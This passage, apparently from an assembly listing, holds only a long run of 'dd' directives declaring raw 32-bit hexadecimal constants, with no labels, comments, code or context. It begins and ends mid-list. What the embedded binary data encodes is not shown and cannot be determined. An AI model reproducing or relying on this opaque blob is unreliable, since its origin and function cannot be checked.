290752C7h, 739DB93Ah, 4200DD70h, 0C0AE9E2h dd 7CDA50h, 900D12A4h, 31E424ACh, 300C8ECh, 0FF11100Fh dd 3AFF0C1h, 68A9640Ch, 580137B1h, 8D322422h, 1EE86116h dd 42D9FF01h, 186F8BDCh, 2830A51Ch, 0E4032AF2h, 77B6FC9Ah dd 9C4AC097h, 9BB90501h, 1D298774h, 1F09F9EDh, 44A176CDh dd 0EC09D34Bh, 2CB2117Eh, 0F6747500h, 0B50B5EFh, 0D23600FAh dd 65143442h, 0B47E5768h, 21FF7E00h, 95B689BEh, 8B080072h dd 0DEC4F0CDh, 0C200015Ch, 3347E944h, 3979C5F4h, 0C91FF53Ah dd 1373CFA3h, 3507B4C0h, 6300B0B9h, 0F219E386h, 305EAFFDh dd 0FA08E818h, 0B007B417h, 370EDE31h, 8E5DFE01h, 688160h dd 386E645Ah, 0AE9D651Fh, 0A91E6D00h, 0E974DA27h, 0E15E075Bh dd 0B0D0B94Fh, 7E4529D2h, 414E6707h, 0CF404896h, 0BAA8D4h dd 8FD30DA7h, 88F7CA55h, 1A00DF71h, 7B315624h, 15D5A9E4h dd 58A82B12h, 0CBE0CC01h, 0CAE4D8Fh, 314401Dh, 55E56303h dd 0E9ED3B3Ah, 30204DCDh, 26BF0017h, 0F11D4873h, 4C0043A8h dd 0C72DDADFh, 269962F6h, 87252Eh, 651C8BC1h, 40CB1ACh dd 0E85ED145h, 2D5F24A0h, 0B0BA0796h, 21AF5043h, 0CB7FCD13h dd 0B94930Eh, 0F25286F9h, 0E04F0F60h, 9A09E725h, 0D70F0980h dd 8E7B8BCFh, 1CACAD05h, 0F71FA9C3h, 1D726C80h, 18F010h dd 0CAB19558h, 0BA94CF44h, 0B7B0C00h, 199CDC4Dh, 253300BFh dd 0BEC9262Bh, 8300E202h, 0D79F781h, 4301ACh, 0EA7A1631h dd 0F1CAE44Eh, 3309821Ch, 93833FC0h, 0F0199Eh, 0C58F4FF7h dd 3DCE1A9Bh, 3B007290h, 1B9DEB66h, 0F60259D8h, 5363D0Dh dd 7DC91280h, 0D5DF5E3Bh, 3F9C281Fh, 0F05D1400h, 3E9622Bh dd 0B9EF6B75h, 22888FBFh, 0D10FAF20h, 4C6F5C15h, 1F53023h dd 0CE9E2ECAh, 0C4F1C47Dh, 0DCF02183h, 7422AA00h, 11B3966h dd 11EC3A63h, 2080AB18h, 223D23C2h, 945D0097h, 0A1A0047Bh dd 92FA1C2Eh, 0BDF60331h, 60A60BDDh, 5B9DBE00h, 0B98515AAh dd 0A1813EBAh, 3DC0074h, 0E9CB2182h, 3601085Fh, 124D7360h dd 0D9DC2BB1h, 0CE3A002Dh, 2EECD3F1h, 51309E17h, 21BD1076h dd 0DAED38E3h, 80B8A81Ch, 30C34134h, 2A0055D8h, 0B70EE024h dd 0F1EFAB35h, 43C920h, 38268583h, 0EA5924F1h, 34C3Ah dd 873B6CFh, 0D75DDh, 0D4046F61h, 0AB91C106h, 0E6264D18h dd 0D8E7ECh, 0ECFCDD5Dh, 777DB08Bh, 0E36A7A00h, 3DB6EF39h dd 0AF2E031Fh, 0D9B4C7D5h, 0F4B28C81h, 8F003E9Dh, 9A1F09C4h dd 0C7A30Eh, 0C5D48AEEh, 0C945EADDh, 60807F30h, 18B76A09h dd 48B5D04Fh, 9D00D2D3h, 8F7FB3A3h, 0CCA230B0h, 41217C08h dd 0D42ABD00h, 0B63825CFh, 88ED6091h, 12AEB7A0h, 0A9AB5900h dd 448B560h, 0B39F3EDDh, 0AF5DC20Fh, 0F1E48580h, 180B3C2Eh dd 41E803h, 9D7A10F3h, 0AA7F3B87h, 13AD17h, 0B3937CB7h dd 8C0005B2h, 0D2EC5183h, 0E888545Eh, 8F680063h, 6617CD38h dd 2300E6F2h, 5FECE70Fh, 58D6C648h, 101E821h, 3AD7F907h dd 3059D16Dh, 8D00C512h, 212CABCDh, 0DFFFE0h, 8EC21BDEh dd 0E27093A8h, 26F8F200h, 0AB691EEDh, 0A6081CAEh, 0E0E74CF7h dd 0A33EE210h, 0A98D0097h, 0BB3233C3h, 0C6C8EF11h, 8C7A1E7Dh dd 0C095009Bh, 1483722Eh, 0CCA6A800h, 0E30A62FFh, 8EAB00F2h dd 329B856Ch, 3C0129E5h, 0BA8AA5BCh, 69BEF003h, 0EAE1A880h dd 2D7C46EFh, 51C25703h, 0B8AD45FCh, 3EF3C81Bh, 0D9806103h dd 36D6ACFDh, 7C13E16Dh, 0EFE3DFh, 1833C8D2h, 6E4CE750h dd 0C0E63787h, 0FAD960A0h, 411D0009h, 8620A719h, 0C000BEC6h dd 0AB28F55Eh, 1D2A426h, 0F31A024Dh, 0EC516ADBh, 1C007C45h dd 60782537h, 0EB4EA9h, 94FEEC59h, 1DFCBA62h, 704B1E00h dd 958AFF5h, 8330003Dh, 615C3AA9h, 49001DC0h, 0B706C745h dd 904D5D4Eh, 4225008Ch, 6B2F8271h, 810F0C86h, 0C0E33D98h dd 78BD974Dh, 0DFC00029h, 0C97F2710h, 1B01B66Bh, 4B406C12h dd 7C86A30h, 0C6B9003Fh, 0A58DAD77h, 641D143Dh, 873B3860h dd 4B3F3E2Dh, 4A6573E0h, 0C749Dh, 0E1939219h, 2C8D38E3h dd 0FEB8DF00h, 1E4D665Fh, 0C6710BFAh, 0B6031219h, 2019086Dh dd 5F983F02h, 0B377CC8Ah, 2A200164h, 9872FD90h, 0B7C91CC0h dd 4D5E0914h, 645EAA79h, 0B2654F01h, 508084BBh, 0EFFC1973h dd 770712FDh, 0A44B5913h, 0E7117003h, 0CDBE81F9h, 789D3A47h dd 34D04032h, 2DDB052Fh, 3C0E407Fh, 0A0FCA4F6h, 0AB7E5093h dd 1B5C0075h, 0B51DA956h, 0D10E2B9Ch, 0D35AC2h, 63D820A2h dd 0E7B1A0C9h, 476C1D46h, 0A6F5C01Fh, 372A1250h, 788B5200h dd 0A488C1F9h, 0EEB43E6Bh, 66FF5580h, 62CC614Ah, 3F8F5000h dd 8692CF18h, 0BAAA0E47h, 0C07E73B7h, 0BEB58294h, 86B8FF76h dd 0CE840500h, 9913A8CFh, 7EE81DBBh, 9FBCBAD2h, 8957D680h dd 489D4D4Fh, 3A00E475h, 8DA8E7EDh, 0FAF775h, 0C9909EBEh dd 2C134531h, 2FA3CA00h, 29F0D6ECh, 4904004Ch, 38C8F7CBh dd 1798B567h, 1D0F7198h, 805DC355h, 8B18BA9Eh, 1B7473h dd 0FE4E1533h, 1EE0607Eh, 8988DB07h, 268FE4CCh, 1C10DF62h dd 8145B31Bh, 3C26655Fh, 9DEEC2Dh, 6DFFFC07h, 21873205h dd 95339AF0h, 0C1C7001Ah, 0BB1EC285h, 0F3002623h, 791048Eh dd 7308D54h, 0B82FAC01h, 0E829D0B7h, 0A700DBEDh, 3F4B55DFh dd 75BE8Eh, 37B79030h, 0FEE45EEFh, 59786B7Bh, 0DFC76500h dd 0F3961E16h, 0AD0B0055h, 335880Dh, 3CE867ACh, 0FE260C01h dd 0E422A723h, 58B69FF4h, 3D04711Dh, 8094AA85h, 0B22FE6C7h dd 0ED89282Eh, 91405207h, 8DD862AFh, 7E38E081h, 0FFD50655h dd 0F93F34BFh, 6E695200h, 0C463297Ch, 0AAFA0Ch, 3C31F24Ah dd 0BB8C4803h, 639F0A3Eh, 0F8585B30h, 307B74h, 2492EBF7h dd 378E4B8Fh, 4FDB3400h, 8D334EBAh, 0DA6A0E52h, 0CC2917CBh dd 6CEFC080h, 551D0C60h, 75403FC6h, 77437252h, 0CA7608h dd 0D1B51278h, 55AF137Dh, 4C7F20Eh, 698AC09Eh, 7B027ACh dd 90147788h, 9315A793h dd 9781EBBBh, 0E000E71Eh, 72F56092h, 1FB131C0h, 0CFB65Fh dd 0CD4E6F4Fh, 36078D32h, 91906E07h, 33F4F0C1h, 63F1D88Eh dd 88D4D6C0h, 7B509C03h, 0E37812BCh, 0CA2FB21Fh, 8D3EF547h dd 172003C9h, 306013D8h, 88D60CACh, 0BF20BE58h, 2240219Ch dd 914E900Ah, 0F450030Eh, 2BC0002Ch, 21D4C8FAh, 0FF01843Fh dd 24FE4256h, 26085896h, 21949920h, 64043EACh, 2402303Ah dd 5821349Fh, 0B0881540h, 27434C3Dh, 4A59105Bh, 0C1B2826Dh dd 31F80593h, 123B6884h, 1FD91B38h, 69B09EFEh, 0A45FC43Fh dd 62182084h, 0D4F85209h, 9230204Bh, 5D67C3h, 7CBC4A8Ah dd 0AB648C07h, 278DB904h, 0E080629Bh, 7F1320EEh, 88DC00A7h dd 0D9F3FDB3h, 9860D477h, 313A36D8h, 9F3B1289h, 0C6DC0141h dd 20AADB6Fh, 4800BBB8h, 9123B1D0h, 3E183C9h, 0CF383F2Ah dd 0A0AE1072h, 0D4CC0C60h, 16334A9h, 29577E7Fh, 9DD9C5DBh dd 0BF8017A8h, 1BFC4D05h, 0B47354E6h, 0ADC40088h, 343106A2h dd 164955F7h, 0B9350A70h, 2D80E859h, 828A4B37h, 26E2F8C2h dd 1C95259Ch, 2A430A77h, 96EB0084h, 9D584DC8h, 2937A500h dd 86557183h, 256700BBh, 0A48ED809h, 0EAE6AFA3h, 75C2200Fh dd 4E582090h, 0EC148D0h, 0FE147232h, 0EC35F520h, 6200AE04h dd 9C232D2Bh, 7972EA75h, 0B9D51C56h, 0C649003Bh, 32092CBh dd 0E8942B00h, 15960B65h, 46340014h, 86EB76C7h, 6A01F39Bh dd 0D04FEEB5h, 0A0E3F950h, 1A70484h, 20582AFFh, 6BA43B0Bh dd 80EC3680h, 133239DFh, 0E6E1C980h, 0FFB10CA7h, 7D215960h dd 18E6CC6h, 8F2D307h, 0C825ABDEh, 323D7259h, 17FC8023h dd 6B87E04Ch, 46B203EDh, 36FD5AFh, 61604003h, 0E6393750h dd 251F1742h, 7A1D8301h, 627A2075h, 0CBDC1A00h, 51BD1C49h dd 213075Eh, 9FF76E0Ah, 0F9941E7h, 2B9A4C07h, 0A49FAF00h dd 0C93AF6D8h, 479518A1h, 0F83B720h, 0FFBF78F7h, 60DF5CC0h dd 39E6D301h, 1F49E700h, 0EE843EE4h, 0A503002Fh, 25985AFDh dd 413EFF13h, 0F16E807Dh, 395F6C15h, 0A6118C9h, 2F49C806h dd 435E3201h, 5D97CFF1h, 3E8370BBh, 742D9044h, 0F95CD2A8h dd 0CC220E1Eh, 80EA3540h, 7B54C77h, 29F168F3h, 317F1274h dd 670BF3E0h, 17D31A05h, 2BC0AACFh, 1A03CCEh, 183BB4AFh dd 0F0A89F77h, 3F0EE740h, 0C756E574h, 96407D7Bh, 98CF5B89h dd 6C180470h, 80A8FB08h, 157C448Bh, 0B7668400h, 505FFD24h dd 81A20FDFh, 0F647394Fh, 4B1AA04Ah, 6B3BCF6Ch, 0BAAC8BF3h dd 7D90001Fh, 2457FBh, 7F4E3746h, 0AC200B0Fh, 0FBD91E39h dd 0C41DA274h, 61808DB3h, 2DBF86A0h, 0ED4E0008h, 68CD0570h dd 1B00628Eh, 0EF7E0363h, 6E95C8h, 0EAC3B18Ah, 0F9BAA07Fh dd 0AFDDEC1Ch, 0A10CB5C0h, 7988DDFh, 35AE940Dh, 77D3909Ah dd 0B700C16Ah, 0CE398C5Bh, 1321617h, 680A8E21h, 0D00F75C6h dd 520030ACh, 9E3E2E04h, 0C3EC9Ah, 0B8C67ECAh, 0BEE7F31Ah dd 0DB82FF00h, 9BD15DA5h, 0E0BCE81Fh, 0C01D5CCBh, 8C54B000h dd 8B6A59F8h, 4171F9F4h, 1752EEA0h, 8D0060E4h, 776355B1h dd 0EE6BB6Eh, 885FD904h, 9428801Fh, 660FEAF6h, 48675200h dd 0D8A7B837h, 0C47200ADh, 397D8801h, 24001A2Eh, 3E75318Bh dd 0CD749D3h, 78B797F9h, 951FC030h, 0C80A42Fh, 0E4A8442h dd 458E1EDDh, 0D7C60E53h, 7DD61720h, 2D0C6B4Dh, 0E801B977h dd 0AF0E500Dh, 36711Fh, 3322C911h, 0C4BBC3F8h, 0B4823000h dd 0E61D2747h, 3618012Bh, 4D15D85Dh, 84F2F926h, 0B5112C29h dd 788F3B07h, 80D36108h, 0BD3C737Bh, 0DF02A8C4h, 3F279476h dd 0C18522AEh, 3A8D7321h, 10EDE401h, 81CE2495h, 0A34208E9h dd 7E0C8128h, 94F9E001h, 39140DA1h, 10482002h, 7D50BCh dd 104568ABh, 88CB9135h, 8504D5B7h, 0FEF8C4B6h, 447B2C44h dd 0D3438775h, 50102F4Eh, 7167B4h, 5B3FB22Bh, 0FB0DEE51h dd 5240A300h, 9C10C492h, 1950032Ah, 0E3EDF901h, 6284ED0h dd 804A330h, 3156A4Dh, 0D86B2974h, 958BADE1h, 2119C80h dd 0BC1D0800h, 5B84FA86h, 496E3861h, 28185E00h, 0A8932A70h dd 2DE52502h, 0E1142FDFh, 0ADD44CE8h, 0D46903AAh, 31A63ABh dd 961F8CE0h, 6AA73007h, 0DEF5EAh, 0CBA2F7D2h, 0E26D00BBh dd 611ED6B2h, 19007F6Fh, 6E4663E0h, 3ED3E859h, 0D500CF0Eh dd 0F92FDA3Fh, 78004206h, 7EE24CD2h, 1F7505F4h, 800B3C51h dd 0C53B3AE4h, 460054F6h, 1CD604C1h, 3F007D9h, 9ACFEA03h dd 7401DCAAh, 60AFE664h, 2AC8A878h, 9960ED17h, 823B3B76h dd 949D92h, 7BD1CAF8h, 59161451h, 0E00BFB8h, 5C28DA05h dd 73630126h, 0F6F1D042h, 0A321F804h, 80AB523Bh, 9F900E43h dd 3ED0718Bh, 0C780E719h, 627E858Fh, 0C609F284h, 8E6D4126h dd 0B9DA40C3h, 0D4F181h, 0AEEA05E5h, 26A02FE9h, 2472B0A0h dd 0F13AAF76h, 0A6F78758h, 9E10607Ch, 0BA4089h, 535C5B05h dd 617E6515h, 0CC2B3F07h, 0B3104DDEh, 947FBEh, 0AAC93DA4h dd 674FA12h, 0E1F10200h, 917D2C73h, 0CDDA0347h, 0A95A6F0Ch dd 1F0ED387h, 13BD3990h, 3A38AF00h, 9192A20Ah, 72E5090Bh dd 0AF817D8Ch, 0E3B48768h, 521AF6B0h, 95704703h, 80B62A48h dd 1EE203BEh, 0C0D6F228h, 0A1C16D80h, 36034F88h, 0BCE36105h dd 0CD33E15Bh, 0DDE70983h, 0EFD1BAA8h, 5809D863h, 1FE9700h dd 15376611h, 67C80FA7h, 0D56220A9h, 5160C6F8h, 8600E453h dd 128ECCCh, 0DF913Eh, 0D5C3E336h, 0C6FF7096h, 0B9003AFEh dd 4F78AA89h, 0EE8ECD4h, 0C361B768h, 14123BE0h, 9500D04Dh dd 5CE041D2h, 223A7Eh, 99CCB72Ah, 7F473FEBh, 0C084F648h dd 0DB5DBBDAh, 61A60065h, 88278692h, 0F909F64h, 3503F4EAh dd 9FDC9DAh, 6079E8F7h, 0B8951CA8h, 481589C4h, 0E49D2880h dd 0F0002AFh, 0ABC3862Dh, 0EE8FDA2Bh, 0CD27001Ch, 8A31B74Dh dd 0C6008E6Dh, 49465D25h, 0EFAC24h, 9E710CAFh, 7F9ACB21h dd 8038C10Eh, 9869E0D0h, 7555B0B5h, 0F94C001Eh, 0AD5AEE29h dd 0B7036AB4h, 78C7AC13h, 7A3780D4h, 580D7043h, 640ED93Eh dd 8160C89Ah, 0A09DEB8Ah, 3CD6971Fh, 5B088787h, 0C8222070h dd 8A280747h, 0D0F11243h, 0E39E2B4Eh, 540E3976h, 6002836Dh dd 0B972A78Ah, 0CF805F9h, 0F2FA6Ah, 0E0913604h, 963E7B5Bh dd 47D30556h, 0F8008E02h, 8CD6F9EEh, 5C2A00A0h, 0D5EDF564h dd 0A8007E92h, 7F9B19ABh, 0D776B7h, 5F8F6E0Bh, 0B043534Eh dd 2F314A00h, 72188BF2h, 47390081h, 9AA2B237h, 16000B41h dd 221C8EC1h, 0CE27BFAh, 3813CDDBh, 0AE24F2A6h, 0DA02DA59h dd 429C0EFEh, 0CE64C044h, 0C3283BB7h, 0E2A9BE87h, 7ED231D9h dd 22DEE00Fh, 0A875A300h, 0AA0B6924h, 47CC0080h, 0CA0DA02Bh dd 870F832Ah, 20D537F5h, 0E566E9ACh, 569E0E06h, 0D840ABEFh dd 8DFC9828h, 2932F900h, 0BFD2E5Ah, 0FA313842h, 1A1E2000h dd 9575A227h, 6D2CBE00h, 8503F779h, 0D8D0006h, 1688C28Eh dd 0AB00D673h, 0A1327DE5h, 6B272Dh, 2440AE85h, 5C6CF477h dd 93E21903h, 0D0B1E3BDh, 33E137h, 7A68C627h, 838298CDh dd 0CE6D0918h, 0FA24AF08h, 0BA7D1F51h, 0D459477Bh, 0FD98E0E7h dd 0A4398DDBh, 3851805Eh, 36FF02BEh, 0E49000BAh, 6D9924ACh dd 80FD54Fh, 19E51Fh, 0FDF6996h, 4C8F6241h, 8280855Fh dd 20A61C74h, 0E0A2BB00h, 0F5345EDFh, 3C2B003Ah, 6CFD7256h dd 620F3B47h, 60C5E0E1h dd 6D8FEBD4h, 0A9AC006Fh, 5D33F77Dh, 0C93E0DCCh, 6EC001A1h dd 1231B39Dh, 0F743AA43h, 1CB8F6Fh, 0E43D2869h, 4B3C70h dd 0C70DB864h, 61EAA42Bh, 65E69400h, 0A0E428BEh, 45B0015h dd 4D2738D1h, 501C5525h, 89D66EA9h, 420E9800h, 71236D5h dd 0EA7B736Fh, 0B94DC17Ah, 0C3253097h, 0C4DC0104h, 1BC0DDCDh dd 761E5362h, 9931003Fh, 196CB9A4h, 2900820Ah, 7BC64147h dd 3AA03EFh, 0F4894FD6h, 3DB865ADh, 25003CE7h, 0AB397B70h dd 3A50292h, 0A7F589E8h, 0F4D00AD2h, 6F004ECEh, 4845F7CAh dd 704BD85Eh, 40D00036h, 0FCB29CFBh, 1101C418h, 5EA9E288h dd 8441CC90h, 1FCC80C1h, 0CA8C072Eh, 40A4199Ch, 3244870Eh dd 6F148300h, 21BB6256h, 0B4F703E0h, 0BA1B6B8Fh, 3D084Ch dd 9E9A1360h, 7C1C4Ch, 5520E8Bh, 65675058h, 3F29500h, 804288FAh dd 97CB057Fh, 80266C91h, 0ED388CA8h, 76252D03h, 0A8989AC9h dd 3B828CEh, 0F3496A1Bh, 56887958h, 5CFEFDE4h, 2C45BD17h dd 0D22F14h, 0E93339DAh, 0AB428Ch, 67109976h, 0CDF7BF4Ch dd 0CA1E43E2h, 45803F30h, 0E406A63h, 72C300C7h, 0FCD971D3h dd 4903FAC9h, 0F7042B73h, 0A617D0E7h, 0EDA772Fh, 68C5280Fh dd 0F8B0A060h, 5100725Eh, 0C9F4A847h, 745AFCE2h, 5B39003Bh dd 9C6CB5B8h, 6B03B307h, 5AB2963h, 6715B8C4h, 167530EBh dd 0B1AAC809h, 0A9FBA201h, 0B3564398h, 803001CDh, 0F577006Eh dd 3E869E81h, 89002DF2h, 45E452D2h, 5478D5h, 0D7FC0180h dd 0D00D81BFh, 21503805h, 86813995h, 647014C5h, 745EC29h dd 0F55BF0A6h, 3E43096h, 0C002F9ADh, 0BB889EE0h, 76F4E046h dd 20A6588Bh, 0D3A1B007h, 4E0CD084h, 0B8E0481Fh, 8093CB3Dh dd 58E5CADDh, 2C5F56h, 4F5D8BA1h, 6D47AC11h, 323F4A01h dd 0EA57345Ch, 0DA6F8940h, 8C0E0062h, 0F7F9D513h, 343BF4D6h dd 3AAC0081h, 444D837Ch, 758B05BCh, 0C0876E0Dh, 62515CDFh dd 57257700h, 8C7879BFh, 0FC850FA9h, 0EF00523Dh, 418D11A2h dd 96F239E4h, 0B408FE61h, 6EE0E171h, 0E37B00BFh, 0B63C8A04h dd 0EE001E21h, 5A59566Ch, 128222EFh, 8535FCh, 0EA72AEB5h dd 0D600D8F8h, 6214BBCBh, 3CB18958h, 5E3D2E65h, 0BC1F0980h dd 81FD8DFFh, 0F4406900h, 47D2C483h, 6CED004Fh, 0DB700337h dd 1D001579h, 761A74CBh, 0F714D4Ah, 5F332EAh, 4193ADA0h dd 4800A1BEh, 0E508C77h, 0F026D9D3h, 67600085h, 88C43A73h dd 63008B97h, 0BAB3B915h, 62D6E1h, 0F4C54D72h, 5D278419h dd 0AEA24A00h, 0FD8C86EDh, 66503F54h, 37510070h, 42BA29EFh dd 0F43E6FB8h, 0E31D3B43h, 0B8831886h, 3014670Ch, 0BF091141h dd 0E1EED9FBh, 71B3F400h, 6A465AFFh, 9FC0F143h, 0FBC4002Ch dd 848A3D88h, 4C582E08h, 0FC5F00B3h, 0B0DD5910h, 0E82700F6h dd 9C4D222Ch, 0D1006E61h, 0AE3D11C7h, 1FA1E724h, 0A0E3345h dd 0EDC369h, 74430FA4h, 0CF904AE0h, 0C55CBD01h, 0CDA1FACBh dd 6D72DC40h, 9646002Fh, 0DFD49C7Eh, 2A006490h, 8AAF83F6h dd 3F3616Fh, 4A1A2D2Ch, 6EF0470Eh, 2400CBF1h, 0E042E454h dd 14156CA4h, 0C92879F4h, 0BC0AC700h, 2F958E44h, 0D6E8C200h dd 345D4C63h, 2B1A0073h, 975E25F3h, 0BC5C3214h, 0C4FD134Ch dd 8E48280Bh, 370E60C6h, 3D2FFEh, 9338F235h, 0FCFFBDF5h dd 0EE097300h, 0A2C7F6E8h, 0B909C0E3h, 0E434C56Ah, 0D7F24403h dd 0A866FC99h, 50F446h, 83A4D0F1h, 0B17138CCh, 0E1C03Ah dd 0BBF9979Bh, 50FD84h, 965BA8C6h, 6BE2548Ch, 63E883F3h dd 88290CC0h, 2FBA5F4h, 62B60326h, 4409643h, 0B47B225Dh dd 0B8BF8A0Fh, 529840FBh, 39C7DF6h, 415A83D7h, 0E9C02FD9h dd 5100DF7Bh, 0ABAE8259h, 0E9B3684h, 0E46C6649h, 8C2BED00h dd 9400DA57h, 1ED3D2F1h, 1123E42h, 0DB1B157Fh, 0F0EDFAF7h dd 884820F4h, 283FE8h, 96AA8309h, 7443767Ah, 45FC00C1h dd 0D8E8BF4Fh, 5D004298h, 3D1E11C0h, 7D342291h, 82F60F0h dd 71DD4FAEh, 397D5B00h, 588F6188h, 3A8E1CC6h, 9302C0E9h dd 0B4EB4AEh, 0C811AAA0h, 5B0065F4h, 213C1B19h, 7813C3CBh dd 69C207BBh, 0C686B1h, 79DD30D4h, 1444CD00h, 1C629620h dd 0FD290FC4h, 1140BEB1h, 4D8CBBE6h, 0CFD7EE00h, 23F01905h dd 648000F1h, 4F530FE2h, 0B3006162h, 0D1E4A23Dh, 3B7B8F3h dd 0AADF23A9h, 76F0C88Bh, 1008AFBh, 537106D3h, 60523474h dd 0A932101Eh, 5800796Ch, 54A7B8B3h, 98ACB90h, 0BE996685h dd 306F9027h, 0B196DF61h, 4D868F00h, 14F07A0h, 48EF6097h dd 2921EA35h, 920E1901h, 0AFA52EC8h, 0DDB970h, 30574245h dd 7B48A37Eh, 80B98E3Ah, 16F394DEh, 91B69229h, 0D1A500ECh dd 553FD921h, 68274F0Eh, 8E5EA089h, 7E16525Ch, 0A7E200C3h dd 0FAD825C7h, 0F800EB20h, 4426FE6Ah, 19522Ah, 9E85159Ah dd 0D14A75Eh, 8963CA00h, 0EC037C48h, 0CDDA00A0h, 0CCD64C2Dh dd 57004ED3h, 727FF8CBh, 998AF6h, 61C89A8Dh, 3DE924AAh dd 6560871Ch, 0ACCA2E00h, 53CBBFh, 272A3EC2h, 0A33F7BEDh dd 5E746670h, 0EB46B500h, 0AEF0562h, 0A6F500D7h, 285D013Bh dd 11002013h, 602E88EDh, 0C23FE0h, 2322CA94h, 0F00D9185h dd 0D600FAE2h, 0A765A6Ah, 0C05CE927h, 0B78AF209h, 300CAE1h dd 460CB8DDh, 0E964A9Bh, 0A724CD3Ah, 817954A0h, 1B0EFB51h dd 209E63CBh, 2838C136h, 0F9300048h, 7EE215DCh, 0E005A7Fh dd 13E4B3D7h, 7F77168Bh, 13BEA5Bh, 0EC2F2ACCh, 60F5C3B5h dd 7009558h, 218A8D0h, 0CBCF50h, 0AEF9C6E0h, 2F6F30FDh dd 7C27E33Bh, 96BA8816h, 0CC4C10h, 6AAF9CF7h, 1480EDFh dd 98C2542Eh, 0D7B1AD64h, 55012E7Ah, 0FC97E595h, 88804192h dd 9A8750D9h, 7500221Ah, 350EF41Eh, 5430C6h, 735E5DF2h dd 0FC91B5C5h, 27EB5300h, 693D7F29h, 71F2470h, 0CCB00464h dd 0A200C094h, 0CA00E497h, 9C15F573h, 3383Fh, 4B4C8E1Ch dd 0BD13AE29h, 0A393070Ch, 390F09Ah, 6E3FAD99h, 53D86F8Bh dd 8D90CF37h, 46D34BEEh, 0D16B8400h, 2806BC96h, 0AB2C25h dd 177BFC48h, 0A41A95EDh, 29EECE90h, 4A273F00h, 47E85FCAh dd 0C6D71485h, 0D300F8F7h, 0C41A4883h, 272EB5A0h, 0FE1E2DDEh dd 5E92E889h, 0D69800A0h, 0A1B582Fh, 9F7BE116h, 91011900h dd 0E81293Ah, 386DE33Eh, 0F2114CC0h, 0E600ECE2h, 12528FCCh dd 55D089h, 0FD7A2B67h, 7045FF99h, 8D68B600h, 0CC1AB7Bh dd 0A5950F78h, 3E02C7Eh, 0C7242526h, 0B5E76E00h, 74FDB1E2h dd 0F8DB7301h, 0FE332C0Fh, 0D1030149h, 0FC4769E4h, 6B7D3B31h dd 37644B0Fh, 12FB209Fh, 4CE7E5FDh, 6C806410h, 3C1C0B1Fh dd 0D6960A07h, 4CA040FBh, 71349A7h, 70FC51E6h, 1BA67059h dd 0A23AE0C7h, 236F8028h, 99EA0AB0h, 2B9E00FDh, 0EC77CA3Ah dd 0A1026387h, 0E7BCF71h, 606440DDh, 0AECD0098h, 0C57457A9h dd 4400D9C2h, 1BEAE9A0h, 136008B0h, 199429h, 58B6315Ch dd 0B3007153h, 0FA5B3C80h, 26430E22h, 0E549801h, 0E08147F4h dd 22943827h, 203B0058h, 0F4194BF9h, 382FE90h, 1A6681C9h dd 0C0BCCF85h, 248F7A96h, 4E0BA801h, 0E417E86Fh, 0AFD9E4h dd 77406529h, 96F734E2h, 1304500h, 8A8089FDh, 0F50B0F0h dd 0A5EA5CE7h, 803249A4h, 0BFA6D4D8h, 0C9077C7Bh, 66E2AE6Ah dd 0FD9368C0h, 7792005Eh, 0D60C9E37h, 1707631Bh, 3E547BF6h dd 1EC1ADF0h dd 23860E3Fh, 35806F68h, 73ED46E7h, 0F931F800h, 0D5AD143Dh dd 0B870203h, 8805C4A0h, 0F3A337Ch, 0C0496A34h, 3622C2A2h dd 0B41B00EEh, 0EF5191B7h, 0C0005B9Eh, 766C1D69h, 15E3ABh dd 3A039AE6h, 0C6140832h, 8D5DDB09h, 4D360092h, 6921E0h dd 684E85C8h, 0D93153ABh, 1D474F3Eh, 9D80D1BAh, 0A6C49B3Eh dd 48B158AFh, 4509F300h, 3BFB7C73h, 0BCD4A03h, 0A03DC8ACh dd 9ABD08h, 0FDF6F92h, 810C0528h, 1109A00Ch, 0F45F088Ch dd 0B7820392h, 335306F4h, 20A572C8h, 0F2A21E00h, 0EF485AB0h dd 50D400DCh, 0EDC1C3D9h, 0F30F3336h, 20DE3240h, 3FF7442Eh dd 6D0D12FEh, 526C070Eh, 0D6759008h, 0A000FA90h, 0A9E4EB7Ah dd 0E3A7D8h, 2D287FD2h, 38C6FBC4h, 0A467E830h, 758D76Ah dd 94B913AAh, 60B0E0E9h, 0DC090337h, 878C64ABh, 0C1B2D184h dd 590C4087h, 0C49957h, 0EFEA1A13h, 9E4C3E82h, 101B00B4h dd 4C63EE9Dh, 0DCE11F6Fh, 69470003h, 4E3A71E3h, 3000D072h dd 2A57FE5Ah, 0C8D2Bh, 95EF62FBh, 5E9CF62Dh, 0DB00D8B8h dd 1BD154B2h, 41115Ah, 0ED2E14A3h, 6D7FD39Eh, 0F2C2F00h dd 5EA7EE68h, 49D90728h, 3025C34Dh, 82E59672h, 8948400h dd 81FD8380h, 44581FACh, 0DCCDC3C5h, 0B6A86B9Ch, 0A7009EBAh dd 4D112ADAh, 0BB5B94h, 3DAC7112h, 0D7CDB1F9h, 0BF3AC200h dd 0D15ECC89h, 1EA200F8h, 0D09FCA2Dh, 0FCEEC727h, 0C9B49407h dd 0CB60C5CEh, 7F59D356h, 3C0A0021h, 6FFBE593h, 533D5CC2h dd 468B0FCEh, 0B14080CFh, 9F9BFC3h, 7FF24884h, 0BCF60880h dd 0F800DEACh, 0A925499Dh, 61BDE3h, 0A8AD8DCAh, 0E7F4A752h dd 0ABD7D101h, 973E6643h, 38F8FDF9h, 485B01BDh, 9DB809C2h dd 0EEB6F087h, 0A551F400h, 239F916h, 0A0150104h, 0AB50C53Fh dd 96098C80h, 0DADAA9h, 0D824777Ah, 0E63A5DD2h, 501CF402h dd 0E011EEC3h, 0F28CC647h, 3EBD0F36h, 0B1A7DBFAh, 0E22550C4h dd 73014C5Eh, 110B4968h, 6F6069BEh, 5BA0C043h, 89EF8078h dd 6F46AB0Bh, 71700008h, 0C519452h, 3E9CD97Dh, 35138160h dd 64011EA7h, 2911886Dh, 3A7ADC70h, 0C980A2B5h, 5EA1784Ah dd 3A0EFAA4h, 5749EC1Fh, 80AC5900h, 595004h, 197BA2FFh dd 88A04CEBh, 0B8978F00h, 8C9E1278h, 72F100CBh, 0E7562DEEh dd 0A92EB4CAh, 910020E9h, 60A2B9EAh, 3F3C0015h, 0BE50FEAEh dd 5100BD02h, 24D1EC94h, 3BDA55B1h, 33802DD4h, 9D4E6F6Ch dd 47002B43h, 97039EC0h, 202EB1h, 0F1B37DFDh, 2B56D27Eh dd 0BE6E0E01h, 5AD953A8h, 8D0B20h, 0CBA9097Ch, 4BDE434Eh dd 0F9871316h, 61559600h, 210406Fh, 88A87E4Dh, 0FEE043CAh dd 3400C6C0h, 879B576Ch, 1EF4CD9Ch, 81829AD0h, 0AB907540h dd 8BFEF40Ah, 